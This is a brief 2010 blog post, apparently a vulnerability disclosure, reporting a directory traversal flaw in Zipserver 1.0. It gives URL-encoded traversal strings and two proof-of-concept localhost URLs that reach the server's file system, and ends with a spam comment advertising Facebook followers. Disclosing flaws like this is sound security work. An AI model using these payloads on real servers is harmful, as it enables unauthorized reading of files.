This site is soon to be deprecated by http://www.johnleitch.net

Saturday, May 15, 2010

Zipserver 1.0 Directory Traversal

It's possible to navigate the local file system of a server running Zipserver 1.0 by using a specially crafted URL.

Exploit:
..%2F/
..%5C/

PoC:
http://localhost/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/

http://localhost/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C/

1 comment:

  1. To find an increased exposure for your facebook account, Persons spend funds to Buy Facebook Followers to conveniently have exposure on internet. facebook followers

    ReplyDelete